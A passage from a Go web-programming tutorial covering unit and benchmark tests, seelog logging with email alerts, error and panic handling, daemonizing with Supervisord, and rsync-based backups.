#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()
```

From the `goroutines` command, we can have a better picture of what Go's runtime system is doing internally; the calling sequence for each function is plainly displayed.

Summary

In this section, we introduced some basic commands from the GDB debugger that you can use to debug your Go applications. These included the `run`, `print`, `info`, `set variable`, `continue`, `list` and `break` commands, among others. From the brief examples above, I hope that you will have a better understanding of how the debugging process works in Go using the GDB debugger. If you want to get more debugging tips, please refer to the GDB manual on its official website.

Links

- Directory
- Previous section: Error handling
- Next section: Write test cases

11.3 Writing test cases

In the course of development, a very important step is to test our code to ensure its quality and integrity. We need to make sure that every function returns the expected result, and that our code performs optimally. We already know that the focus of unit tests is to find logical errors in the design or implementation of programs. They are used to detect and expose problems in code early on so that we can more easily fix them, before they get out of hand. We also know that performance tests are conducted for the purpose of optimizing our code so that it is stable under load, and can maintain a high level of concurrency. In this section, we'll take a look at some commonly asked questions about how unit and performance tests are implemented in Go.

The Go language comes with a lightweight testing framework called `testing`, and we can use the `go test` command to execute unit and performance tests. Go's `testing` framework works similarly to testing frameworks in other languages. You can develop all sorts of test suites with them, which may include tests for unit testes, benchmarking, stress tests, etc. Let's learn about testing in Go, step by step.

How to write test cases

Since the `go test` command can only be executed in a directory containing all corresponding files, we are going to create a new project directory `gotest` so that all of our code and test code are in the same directory.

Let's go ahead and create two files in the directory called gotest.go and gotest_test.go

1. Gotest.go: This file declares our package name and has a function that performs a division operation:

```
package gotest

 import (
     "errors"
 )

 func Division(a, b float64) (float64, error) {
     if b == 0 {
         return 0, errors.New("Divisor can not be 0")
     }
     return a / b, nil
 }
```

2. Gotest_test.go: This is our unit test file. Keep in mind the following principles for test files:
3. File names must end in `_test.go` so that `go test` can find and execute the appropriate code
4. You have to import the `testing` package
5. All test case functions begin with `Test`
6. Test cases follow the source code order
7. Test functions of the form `TestXxx()` take a `testing.T` argument; we can use this type to record errors or to get the testing status
8. In functions of the form `func TestXxx(t * testing.T)`, the `Xxx` section can be any alphanumeric combination, but the first letter cannot be a lowercase letter [az]. For example, `Testintdiv` would be an invalid function name.
9. By calling one of the `Error`, `Errorf`, `FailNow`, `Fatal` or `FatalIf` methods of `testing.T` on our testing functions, we can fail the test. In addition, we can call the `Log` method of `testing.T` to record the information in the error log.

Here is our test code:

```
package gotest

import (
    "testing"
)

func Test_Division_1(t *testing.T) {
    // try a unit test on function
    if i, e := Division(6, 2); i != 3 || e != nil {
        // If it is not as expected, then the test has failed
        t.Error("division function tests do not pass ")
    } else {
        // record the expected information
        t.Log("first test passed ")
    }
}

func Test_Division_2(t *testing.T) {
    t.Error("just does not pass")
}
```

When executing `go test` in the project directory, it will display the following information:

```
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go: 16: is not passed
FAIL
exit status 1
FAIL gotest 0.013s
```

We can see from this result that the second test function does not pass since we wrote in a dead-end using `t.Error`. But what about the performance of our first test function? By default, executing `go test` does not display test results. We need to supply the verbose argument `-v` like `go test -v` to display the following output:

```
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go: 11: first test passed
=== RUN Test_Division_2
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go: 16: is not passed
FAIL
exit status 1
FAIL gotest 0.012s
```

The above output shows in detail the results of our test. We see that the test function 1 `Test_Division_1` passes, and the test function 2 `Test_Division_2` fails, finally concluding that our test suite does not pass. Next, we modify the test function 2 with the following code:

```
func Test_Division_2(t *testing.T) {
    // try a unit test on function
    if _, e := Division(6, 0); e == nil {
        // If it is not as expected, then the error
        t.Error("Division did not work as expected.")
    } else {
        // record some of the information you expect to record
        t.Log("one test passed.", e)
    }
}
```

We execute `go test -v` once again. The following information should now be displayed -the test suite has passed~:

```
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go: 11: first test passed
=== RUN Test_Division_2
--- PASS: Test_Division_2 (0.00 seconds)
gotest_test.go: 20: one test passed. divisor can not be 0
PASS
ok gotest 0.013s
```

How to write stress tests

Stress testing is used to detect function performance, and bears some resemblance to unit testing (which we will not get into here), however we need to pay attention to the following points:

- Stress tests must follow the following format, where XXX can be any alphanumeric combination and its first letter cannot be a lowercase letter.

  func BenchmarkXXX (b *testing.B){...}

- By default, `Go test` does not perform function stress tests. If you want to perform stress tests, you need to set the flag `-test.bench` with the format: `-test.bench="test_name_regex"` . For instance, to run all stress tests in your suite, you would run `go test -test.bench=".*"` .
- In your stress tests, please remember to use testing.B.N any loop bodies, so that the tests can be run properly.
- As before, test file names must end in `_test.go`

Here we create a stress test file called webbench_test.go:

```
package gotest

import (
    "testing"
)

func Benchmark_Division(b *testing.B) {
    for i := 0; i < b.N; i++ { // use b.N for looping
        Division(4, 5)
    }
}

func Benchmark_TimeConsumingFunction(b *testing.B) {
    b.StopTimer() // call the function to stop the stress test time count

    // Do some initialization work, such as reading file data, database connections and the like,
    // So that our benchmarks reflect the performance of the function itself

    b.StartTimer() // re-start time
    for i := 0; i < b.N; i++ {
        Division(4, 5)
    }
}
```

We then execute the `go test -file webbench_test.go -test.bench =".*"` command, which outputs the following results:

```
PASS
Benchmark_Division 500000000 7.76 ns/ op
Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op
ok gotest 9.364s
```

The above results show that we did not perform any of our `TestXXX` unit test functions, and instead only performed our `BenchmarkXXX` tests (which is exactly as expected). The first `Benchmark_Division` test shows that our `Division()` function executed 500 million times, with an average execution time of 7.76ns. The second `Benchmark_TimeConsumingFunction` shows

that our `TmeConsumingFunction` executed 500 million times, with an average execution time of 7.80ns. Finally, it outputs the total execution time of our test suite.

Summary

From our brief encounter with unit and stress testing in Go, we can see that the `testing` package is very lightweight, yet packed with useful utilities. We saw that writing unit and stress tests can be very simple, and running them can be even easier with Go's built-in `go test` command. Every time we modify our code, we can simply run `go test` to begin regression testing.

Links

- Directory
- Previous section: Debugging using GDB
- Next section: Summary

11.4 Summary

Over the course of the last three sections, we've introduced how to handle errors in Go, first looking at good error handling practices and design, then learning how to use the GDB debugger effectively. We saw that with GDB, we can perform single-step debugging, view and modify our program variables during execution, and print out the relevant process information. Finally, we described how to use Go's built-in `testing` framework to write unit and stress tests. Properly using this framework allows us to easily make any future changes to our code and perform the necessary regression testing. Good web applications must have good error handling, and part of that is having readable errors and error handling mechanisms which can scale in a predictable manner. Using the tools mentioned above as well as writing high quality and thorough unit and stress tests, we can have peace of mind knowing that once our applications are live, they can maintain optimal performance and run as expected.

Links

- Directory
- Previous section: Write test cases
- Next chapter: Deployment and maintenance

12 Deployment and maintenance

So far, we've covered the basics of developing, debugging and testing web applications in Go. As is often said, however: the last 10% of development takes 90% of the time. In this chapter, we will be emphasizing this last 10% of application development in order to truly craft reliable and high quality web applications. In the first section, we will examine how production services generate logs, and the process of logging itself. The second section will describe dealing with runtime errors, and how to manage them when they occur so that the impact on end users is minimized. In the third section, we tackle the subject of deploying standalone Go programs, which can be tricky at first. As you might know, Go programs cannot be written with daemons like you would with a language such as C. We'll discuss how background processes are typically managed in Go. Finally, our fourth and last section will address the process of backing up and recovering application data in Go. We'll take a look at some techniques for ensuring that in the event of a crash, we will be able to maintain the integrity of our data.

Links

- Directory
- Previous chapter: Chapter 11 summary
- Next section: Logs

12.1 Logs

We want to build web applications that can keep track of events which have occurred throughout execution, combining them all into one place for easy access later on, when we inevitably need to perform debugging or optimization tasks. Go provides a simple `log` package which we can use to help us implement simple logging functionality. Logs can be printed using Go's `fmt` package, called inside error handling functions for general error logging. Go's standard package only contains basic functionality for logging, however. There are many third party logging tools that we can use to supplement it if your needs are more sophisticated (tools similar to log4j and log4cpp, if you've ever had to deal with logging in Java or C++). A popular and fully featured, open-source logging tool in Go is the seelog logging framework. Let's take a look at how we can use `seelog` to perform logging in our Go applications.

Introduction to seelog

Seelog is a logging framework for Go that provides some simple functionality for implementing logging tasks such as filtering and formatting. Its main features are as follows:

- Dynamic configuration via XML; you can load configuration parameters dynamically without recompiling your program
- Supports hot updates, the ability to dynamically change the configuration without the need to restart the application
- Supports multi-output streams that can simultaneously pipe log output to multiple streams, such as a file stream, network flow, etc.
- Support for different log outputs
    - Command line output
    - File Output
    - Cached output
    - Support log rotate
    - SMTP Mail

The above is only a partial list of seelog's features. To fully take advantage of all of seelog's functionality, have a look at its official wiki which thoroughly documents what you can do with it. Let's see how we'd use seelog in our projects:

First install seelog:

```
go get -u github.com/cihub/seelog
```

Then let's write a simple example:

```
package main

import log "github.com/cihub/seelog"

func main() {
    defer log.Flush()
    log.Info("Hello from Seelog!")
}
```

Compile and run the program. If you see a `Hello from seelog` in your application log, seelog has been successfully installed and is running operating normally.

Custom log processing with seelog

Seelog supports custom log processing. The following code snippet is based on the its custom log processing part of its package:

```
package logs

import (
    "errors"
    "fmt"
    seelog "github.com/cihub/seelog"
    "io"
)

var Logger seelog.LoggerInterface

func loadAppConfig() {
    appConfig := `
<seelog minlevel="warn">
    <outputs formatid="common">
        <rollingfile type="size" filename="/data/logs/roll.log" maxsize="100000" maxrolls="5"/>
        <filter levels="critical">
            <file path="/data/logs/critical.log" formatid="critical"/>
            <smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp
.gmail.com" hostport="587" username="mailusername" password="mailpassword">
                <recipient address="xiemengjun@gmail.com"/>
            </smtp>
        </filter>
    </outputs>
    <formats>
        <format id="common" format="%Date/%Time [%LEV] %Msg%n" />
        <format id="critical" format="%File %FullPath %Func %Msg%n" />
        <format id="criticalemail" format="Critical error on our server!\n    %Time %Date %RelFile %Func %Msg \nSent
by Seelog"/>
    </formats>
</seelog>
`
    logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))
    if err != nil {
        fmt.Println(err)
        return
    }
    UseLogger(logger)
}

func init() {
    DisableLog()
    loadAppConfig()
}

// DisableLog disables all library log output
func DisableLog() {
    Logger = seelog.Disabled
}

// UseLogger uses a specified seelog.LoggerInterface to output library log.
// Use this func if you are using Seelog logging system in your app.
func UseLogger(newLogger seelog.LoggerInterface) {
    Logger = newLogger
}
```

The above implements the three main functions:

- `DisableLog`

Initializes a global variable `Logger` with seelog disabled, mainly in order to prevent the logger from being repeatedly initialized

- `LoadAppConfig`

Initializes the configuration settings of seelog according to a configuration file. In our example we are reading the configuration from an in-memory string, but of course, you can read it from an XML file also. Inside the configuration, we set up the following parameters:

- Seelog

The `minlevel` parameter is optional. If configured, logging levels which are greater than or equal to the specified level will be recorded. The optional `maxlevel` parameter is similarly used to configure the maximum logging level desired.

- Outputs

Configures the output destination. In our particular case, we channel our logging data into two output destinations. The first is a rolling log file where we continuously save the most recent window of logging data. The second destination is a filtered log which records only critical level errors. We additionally configure it to alert us via email when these types of errors occur.

- Formats

Defines the various logging formats. You can use custom formatting, or predefined formatting -a full list of predefined formats can be found on seelog's wiki

- `UseLogger`

Set the current logger as our log processor

Above, we've defined and configured a custom log processing package. The following code demonstrates how we'd use it:

```
package main

import (
    "net/http"
    "project/logs"
    "project/configs"
    "project/routes"
)

func main() {
    addr, _ := configs.MainConfig.String("server", "addr")
    logs.Logger.Info("Start server at:%v", addr)
    err := http.ListenAndServe(addr, routes.NewMux())
    logs.Logger.Critical("Server err:%v", err)
}
```

Email notifications

The above example explains how to set up email notifications with `seelog` . As you can see, we used the following `smtp` configuration:

```
<smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com"
hostport="587" username="mailusername" password="mailpassword">
    <recipient address="xiemengjun@gmail.com"/>
</smtp>
```

We set the format of our alert messages through the `criticalemail` configuration, providing our mail server parameters to be able to receive them. We can also configure our notifier to send out alerts to additional users using the `recipient` configuration. It's a simple matter of adding one line for each additional recipient.

To test whether or not this code is working properly, you can add a fake critical message to your application like so:

```
logs.Logger.Critical("test Critical message")
```

Don't forget to delete it once you're done testing, or when your application goes live, your inbox may be flooded with email notifications.

Now, whenever our application logs a critical message while online, you and your specified recipients will receive a notification email. You and your team can then process and remedy the situation in a timely manner.

Using application logs

When it comes to logs, each application's use-case may vary. For example, some people use logs for data analysis purposes, others for performance optimization. Some logs are used to analyze user behavior and how people interact with your website. Of course, there are logs which are simply used to record application events as auxiliary data for finding problems.

As an example, let's say we need to track user attempts at logging into our system. This involves recording both successful and unsuccessful login attempts into our log. We'd typically use the "Info" log level to record these types of events, rather than something more serious like "warn". If you're using a linux-type system, you can conveniently view all unsuccessful login attempts from the log using the `grep` command like so:

```
# cat /data/logs/roll.log | grep "failed login"
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password
```

This way, we can easily find the appropriate information in our application log, which can help us to perform statistical analysis if needed. In addition, we also need to consider the size of logs generated by high-traffic web applications. These logs can sometimes grow unpredictably. To resolve this issue, we can set `seelog` up with the logrotate configuration to ensure that single log files do not consume excessive disk space.

Summary

In this section, we've learned the basics of `seelog` and how to build a custom logging system with it. We saw that we can easily configure `seelog` into as powerful a log processing system as we need, using it to supply us with reliable sources of data for analysis. Through log analysis, we can optimize our system and easily locate the sources of problems when they arise. In addition, `seelog` ships with various default log levels. We can use the `minlevel` configuration in conjunction with a log level to easily set up tests or send automated notification messages.

Links

- Directory
- Previous section: Deployment and maintenance
- Next section: Errors and crashes

12.2 Errors and crashes

Once our web applications go live, it's likely that there will be some unforeseen errors. A few example of common errors that may occur in the course of your application's daily operations, are listed below:

- Database Errors: errors related to accessing the database server or stored data. The following are some database errors which you may encounter:
- Connection Errors: indicates that a connection to the network database server could not be established, a supplied user name or password is incorrect, or that the database does not exist.
- Query Errors: the illegal or incorrect use of an SQL query can raise an error such as this. These types of errors can be avoided through rigorous testing.
- Data Errors: database constraint violation such as attempting to insert a field with a duplicate primary key. These types of errors can also be avoided through rigorous testing before deploying your application into a production environment.
- Application Runtime Errors: These types of errors vary greatly, covering almost all error codes which may appear during runtime. Possible application errors are as follows:
- File system and permission errors: when the application attempts to read a file which does not exist or does not have permission to read, or when it attempts to write to a file which it is not allowed to write to, errors of this category will occur. A file system error will also occur if an application reads a file with an unexpected format, for instance a configuration file that should be in the INI format but is instead structured as JSON.
- Third-party application errors: These errors occur in applications which interface with other third-party applications or services. For instance, if an application publishes tweets after making calls to Twitter's API, it's obvious that Twitter's services must be up and running in order for our application to complete its task. We must also ensure that we supply these third-party interfaces with the appropriate parameters in our calls, or else they will also return errors.
- HTTP errors: These errors vary greatly, and are based on user requests. The most common is the 404 Not Found error, which arises when users attempt to access non-existent resources in your application. Another common HTTP error is the 401 Unauthorized error (authentication is required to access the requested resource), 403 Forbidden error (users are altogether refused access to this resource) and 503 Service Unavailable errors (indicative of an internal program error).
- Operating system errors: These sorts of errors occur at the operating system layer and can happen when operating system resources are over-allocated, leading to crashes and system instability. Another common occurrence at this level is when the operating system disk gets filled to capacity, making it impossible to write to. This naturally produces in many errors.
- Network errors: network errors typically come in two flavors: one is when users issue requests to the application and the network disconnects, thus disrupting its processing and response phase. These errors do not cause the application to crash, but can affect user access to the website; the other is when applications attempts to read data from disconnected networks, causing read failures. Judicious testing is particularly important when making network calls to avoid such problems, which can cause your application to crash.

Error handling goals

Before implementing error handling, we must be clear about what goals we are trying to achieve. In general, error handling systems should accomplish the following:

- User error notifications: when system or user errors occur, causing current user requests to fail to complete, affected users should be notified of the problem. For example, for errors cause by user requests, we show a unified error page (404.html). When a system error occurs, we use a custom error page to provide feedback for users as to what happened -for instance, that the system is temporarily unavailable (error.html).
- Log errors: when system errors occur (in general, when functions return non-nil error variables), a logging system such

as the one described earlier should be used to record the event into a log file file. If it is a fatal error, the system administrator should also be notified via e-mail. In general however, most 404 errors do not warrant the sending of email notifications; recording the event into a log for later scrutiny is often adequate.

- Roll back the current request operation: If a user request causes a server error, then we need to be able to roll back the current operation. Let's look at an example: a system saves a user-submitted form to its database, then submits this data to a third-party server. However, the third-party server disconnects and we are unable to establish a connection with it, which results in an error. In this case, the previously stored form data should be deleted from the database (void should be informed), and the application should inform the user of the system error.
- Ensure that the application can recover from errors: we know that it's difficult for any program to guarantee 100% uptime, so we need to make provision for scenarios where our programs fail. For instance if our program crashes, we first need to log the error, notify the relevant parties involved, then immediately get the program up and running again. This way, our application can continue to provide services while a system administrator investigates and fixes the cause of the problem.

How to handle errors

In chapter 11, we addressed the process of error handling and design using some examples. Let's go into these examples in a bit more detail, and see some other error handling scenarios:

- Notify the user of errors:

When an error occurs, we can present the user accessing the page with two kinds of errors pages: 404.html and error.html. Here is an example of what the source code of an error page might look like:

```
<html lang="en">

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Page Not Found
  </title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>

<body>
  <div class="container">
    <div class="row">
      <div class="span10">
        <div class="hero-unit">
          <h1> 404! </h1>
          <p>{{.ErrorInfo}}</p>
        </div>
      </div>
      <!--/span-->
    </div>
  </div>
</body>

</html>
```

Another example:

```
<html lang="en">

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>system error page
  </title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">

</head>

<body>
  <div class="container">
    <div class="row">
      <div class="span10">
        <div class="hero-unit">
          <h1> system is temporarily unavailable ! </h1>
          <p>{{.ErrorInfo}}</p>
        </div>
      </div>
      <!--/span-->
    </div>
  </div>
</body>

</html>
```

404 error-handling logic, in the occurrence of a system error:

```
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == "/" {
        sayhelloName(w, r)
        return
    }
    NotFound404(w, r)
    return
}

func NotFound404(w http.ResponseWriter, r *http.Request) {
    log.Error(" page not found")              //error logging
    t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file
    ErrorInfo := " File not found "           //Get the current user information
    t.Execute(w, ErrorInfo)                   //execute the template merger operation
}

func SystemError(w http.ResponseWriter, r *http.Request) {
    log.Critical(" System Error")                     //system error triggered Critical, then logging will not only
send a message
    t, _ = t.ParseFiles("tmpl/error.html", nil)       //parse the template file
    ErrorInfo := " system is temporarily unavailable " //Get the current user information
    t.Execute(w, ErrorInfo)                           //execute the template merger operation
}
```

How to handle exceptions

We know that many other languages have `try... catch` keywords used to capture the unusual circumstances, but in fact, many errors can be expected to occur without the need for exception handling, and can be instead treated as an errors. It's for this reason that Go functions return errors by design. For example, if a file is not found or if os.Open returns an error, these functions will not panic; as another example, if a network connection gets disconnected during a data write operation, the `net.Conn` family of `Write` functions will return errors instead of panicking. These error states are to be expected in most applications and Go particularly makes it explicit when operations might fail by returning error variables. Looking at the example above, we can clearly see the errors that can be expected to occur.

There are, however, cases where `panic` should be used. For instance in operations where failure is almost impossible, or in certain situations where there is no way to return an error and the operation cannot continue, `panic` should be used. Take for example a program that tries to obtain the value of an array at x[j], but the index j is out of bounds. This part of the code will cause the program to panic, as will other critical, unexpected errors of this nature. By default, panicking will kill off the offending process (goroutine), allowing the code which dispatched the goroutine an opportunity to recover from the error. This way, the function in which the error occurred as well as all subsequent code after it will not continue to execute. Go's `panic` was deliberately designed with this behavior in mind, which is different than typical error handling; `panic` is really just exception handling. In the example below, we expect that `User[UID]` will return a username from the `User` array, but the UID that we use is out of bounds and throws an exception. If we do not have a recovery mechanism to deal with this immediately, the process will be killed, and the panic will propagate up the stack until our program finally crashes. In order for our application to be robust and resilient to these kinds of runtime errors, we need to implement recovery mechanisms in certain places.

```
func GetUser(uid int) (username string) {
    defer func() {
        if x := recover(); x != nil {
            username = ""
        }
    }()

    username = User[uid]
    return
}
```

The above describes the differences between errors and exceptions. So, when it comes down to developing our Go applications, when do we use one or the other? The rules are simple: if you define a function that you anticipate might fail, then return an error variable. When calling another package's function, if it is implemented well, there should be no need to worry that it will panic unless a true exception has occurred (whether recovery logic has been implemented or not). Panic and recover should only be used internally inside packages to deal with special cases where the state of the program cannot be guaranteed, or when a programmer's error has occurred. Externally facing APIs should explicitly return error values.

Summary

This is section summarizes how web applications should handle various errors such as network, database and operating system errors, among others. We've outline several techniques to effectively deal with runtime errors such as: displaying user-friendly error notifications, rolling back actions, logging, and alerting system administrators. Finally, we explained how to correctly handle errors and exceptions. The concept of an error is often confused with that of an exception, however in Go, there is a clear distinction between the two. For this reason, we've discussed the principles of processing both errors and exceptions in web applications.

Links

- Directory
- Previous section: Logs
- Next section: Deployment

12.3 Deployment

When our web application is finally production ready, what are the steps necessary to get it deployed? In Go, an executable file encapsulating our application is created after we compile our programs. Programs written in C can run perfectly as background daemon processes, however Go does not yet have native support for daemons. The good news is that we can use third party tools to help us manage the deployment of our Go applications, examples of which are Supervisord, upstart and daemontools, among others. This section will introduce you to some basics of the Supervisord process control system.

Daemons

Currently, Go programs cannot be run as daemon processes (for additional information, see the open issue on github here). It's difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have been used.

We can, however, see many attempts at implementing daemons online, such as in the two following ways;

- MarGo one implementation of the concept of using `Command` to deploy applications. If you really want to daemonize your applications, it is recommended to use code similar to the following:

```
    d := flag.Bool("d", false, "Whether or not to launch in the background(like a
daemon)")
    if *d {
        cmd := exec.Command(os.Args[0],
            "-close-fds",
            "-addr", *addr,
            "-call", *call,
        )
        serr, err := cmd.StderrPipe()
        if err != nil {
            log.Fatalln(err)
        }
        err = cmd.Start()
        if err != nil {
            log.Fatalln(err)
        }
        s, err := ioutil.ReadAll(serr)
        s = bytes.TrimSpace(s)
        if bytes.HasPrefix(s, []byte("addr: ")) {
            fmt.Println(string(s))
            cmd.Process.Release()
        } else {
            log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
            cmd.Process.Kill()
        }
    }
```

- Another solution is to use `syscall`, but this solution is not perfect:

```
package main

import (
    "log"
    "os"
    "syscall"
)

func daemon(nochdir, noclose int) int {
    var ret, ret2 uintptr
    var err uintptr

    darwin := syscall.OS == "darwin"

    // already a daemon
    if syscall.Getppid() == 1 {
        return 0
    }

    // fork off the parent process
    ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
    if err != 0 {
        return -1
    }

    // failure
    if ret2 < 0 {
        os.Exit(-1)
    }

    // handle exception for darwin
    if darwin && ret2 == 1 {
        ret = 0
    }

    // if we got a good PID, then we call exit the parent process.
    if ret > 0 {
        os.Exit(0)
    }

    /* Change the file mode mask */
    _ = syscall.Umask(0)

    // create a new SID for the child process
    s_ret, s_errno := syscall.Setsid()
    if s_errno != 0 {
        log.Printf("Error: syscall.Setsid errno: %d", s_errno)
    }
    if s_ret < 0 {
        return -1
    }

    if nochdir == 0 {
        os.Chdir("/")
    }

    if noclose == 0 {
        f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
        if e == nil {
            fd := f.Fd()
            syscall.Dup2(fd, os.Stdin.Fd())
            syscall.Dup2(fd, os.Stdout.Fd())
            syscall.Dup2(fd, os.Stderr.Fd())
        }
    }

    return 0
}
```

While the two solutions above implement daemonization in Go, I still cannot recommend that you use either methods since there is no official support for daemons in Go. Notwithstanding this fact, the first option is the more feasible one, and is currently being used by some well-known open source projects like skynet for implementing daemons.

Supervisord

Above, we've looked at two schemes that are commonly used to implement daemons in Go, however both methods lack official support. So, it's recommended that you use a third-party tool to manage application deployment. Here we take a look at the Supervisord project, implemented in Python, which provides extensive tools for process management. Supervisord will help you to daemonize your Go applications, also allowing you to do things like start, shut down and restart your applications with some simple commands, among many other actions. In addition, Supervisord managed processes can automatically restart processes which have crashed, ensuring that programs can recover from any interruptions.

> As an aside, I recently fell into a common pitfall while trying to deploy an application using Supervisord. All applications deployed using Supervisord are born out of the Supervisord parent process. When you change an operating system file descriptor, don't forget to completely restart Supervisord -simply restarting the application it is managing will not suffice. When I first deployed an application with Supervisord, I modified the default file descriptor field, changing the default number from 1024 to 100,000 and then restarting my application. In reality, Supervisord continued using only 1024 file descriptors to manage all of my application's processes. Upon deploying my application, the logger began reporting a lack of file descriptors! It was a long process finding and fixing this mistake, so beware!

Installing Supervisord

Supervisord can easily be installed using `sudo easy_install supervisor`. Of course, there is also the option of directly downloading it from its official website, uncompressing it, going into the folder then running `setup.py install` to install it manually.

- If you're going the `easy_install` route, then you need to first install `setuptools`

Go to `http://pypi.python.org/pypi/setuptools#files` and download the appropriate file, depending on your system's python version. Enter the directory and execute `sh setuptoolsxxxx.egg`. When then script is done, you'll be able to use the `easy_install` command to install Supervisord.

Configuring Supervisord

Supervisord's default configuration file path is `/etc/supervisord.conf`, and can be modified using a text editor. The following is what a typical configuration file may look like:

```
;/etc/supervisord.conf
[unix_http_server]
file = /var/run/supervisord.sock
chmod = 0777
chown= root:root

[inet_http_server]
# Web management interface settings
port=9001
username = admin
password = yourpassword

[supervisorctl]
; Must 'unix_http_server' match the settings inside
serverurl = unix:///var/run/supervisord.sock

[supervisord]
logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log)
logfile_maxbytes=50MB       ; (max main logfile bytes b4 rotation;default 50MB)
logfile_backups=10          ; (num of main logfile rotation backups;default 10)
loglevel=info               ; (log level;default info; others: debug,warn,trace)
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
nodaemon=true              ; (start in foreground if true;default false)
minfds=1024                 ; (min. avail startup file descriptors;default 1024)
minprocs=200                ; (min. avail process descriptors;default 200)
user=root                 ; (default is current user, required if root)
childlogdir=/var/log/supervisord/            ; ('AUTO' child log dir, default $TEMP)

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
; Manage the configuration of a single process, you can add multiple program
[program: blogdemon]
command =/data/blog/blogdemon
autostart = true
startsecs = 5
user = root
redirect_stderr = true
stdout_logfile =/var/log/supervisord/blogdemon.log
```

Supervisord management

After installation is complete, two Supervisord commands become available to you on the command line: `supervisor` and `supervisorctl`. The commands are as follows:

- `supervisord`: initial startup, launch, and process configuration management.
- `supervisorctl stop programxxx`: stop the programxxx process, where programxxx is a value configured in your `supervisord.conf` file. For instance, if you have something like `[program: blogdemon]` configured, you would use the `supervisorctl stop blogdemon` command to kill the process.
- `supervisorctl start programxxx`: start the programxxx process
- `supervisorctl restart programxxx`: restart the programxxx process
- `supervisorctl stop all`: stop all processes; note: start, restart, stop will not load the latest configuration files.
- `supervisorctl reload`: load the latest configuration file, launch them, and manage all processes with the new configuration.

Summary

In this section, we described how to implement daemons in Go. We learned that Go does not natively support daemons, and that we need to use third-party tools to help us manage them. One such tool is the Supervisord process control system which we can use to easily deploy and manage our Go programs.

Links

- Directory
- Previous section: Errors and crashes
- Next section: Backup and recovery

12.4 Backup and recovery

In this section, we'll discuss another aspect of application management: data backup and recovery on production servers. We often encounter situations where production servers don't behave as we expect them to. Server network outages, hard drive malfunctions, operating system crashes and other similar events can cause databases to become unavailable. The need to recover from these types of events has led to the emergence of many cold standby/hot standby tools that can help to facilitate disaster recovery remotely. In this section, we'll explain how to backup deployed applications in addition to backing up and restoring any MySQL and Redis databases you might be using.

Application Backup

In most cluster environments, web applications do not need to be backed up since they are actually copies of code from our local development environment, or from a version control system. In many cases however, we need to backup data which has been supplied by the users of our site. For instance, when sites require users to upload files, we need to be able to backup any files that have been uploaded by users to our website. The current approach for providing this kind of redundancy is to utilize so-called cloud storage, where user files and other related resources are persisted into a highly available network of servers. If our system crashes, as long as user data has been persisted onto the cloud, we can at least be sure that no data will be lost.

But what about the cases where we did not backup our data to a cloud service, or where cloud storage was not an option? How do we backup data from our web applications then? Here, we describe a tool called rsync, which can be commonly found on unix-like systems. Rsync is a tool which can be used to synchronize files residing on different systems, and a perfect use-case for this functionality is to keep our website backed up.

> Note: Cwrsync is an implementation of rsync for the Windows environment

Rsync installation

You can find the latest version of rsync from its official website. Of course, because rsync is very useful software, many Linux distributions will already have it installed by default.

Package Installation:

```
# sudo apt-get install rsync ; Note: debian, ubuntu and other online installation methods ;
# yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ;
# rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ;
```

For the other Linux distributions, please use the appropriate package management methods to install it. Alternatively, you can build it yourself from the source:

```
tar xvf rsync-xxx.tar.gz
cd rsync-xxx
./configure - prefix =/usr; make; make install
```

> Note: If want to compile and install the rsync from its source, you have to install gcc compiler tools such as job.

> Note: Before using source packages compiled and installed, you have to install gcc compiler tools such as job

Rsync Configuration

Rsync can be configured from three main configuration files: `rsyncd.conf` which is the main configuration file, `rsyncd.secrets` which holds passwords, and `rsyncd.motd` which contains server information.

You can refer to the official documentation on rsync's website for more detailed explanations, but here we will simply introduce the basics of setting up rsync:.

- Starting an rsync daemon server-side:

  ```
  # /usr/bin/rsync --daemon --config=/etc/rsyncd.conf
  ```

- the `--daemon` parameter is for running rsync in server mode. Make this the default boot-time setting by joining it to the `rc.local` file:

  ```
  echo 'rsync --daemon' >> /etc/rc.d/rc.local
  ```

Setup an rsync username and password, making sure that it's owned only by root, so that local unauthorized users or exploits do not have access to it. If these permissions are not set correctly, rsync may not boot:

```
echo 'Your Username: Your Password' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets
```

- Client synchronization:

Clients can synchronize server files with the following command:

```
rsync -avzP --delete --password-file=rsyncd.secrets username@192.168.145.5::www /var/rsync/backup
```

Let's break this down into a few key points:

1. `-avzP` are some common options. Use `rsync --help` to review what these do.
2. `--delete` deletes extraneous files on the receiving side. For example, if files are deleted on the sending side, the next time the two machines are synchronized, the receiving sides will automatically delete the corresponding files.
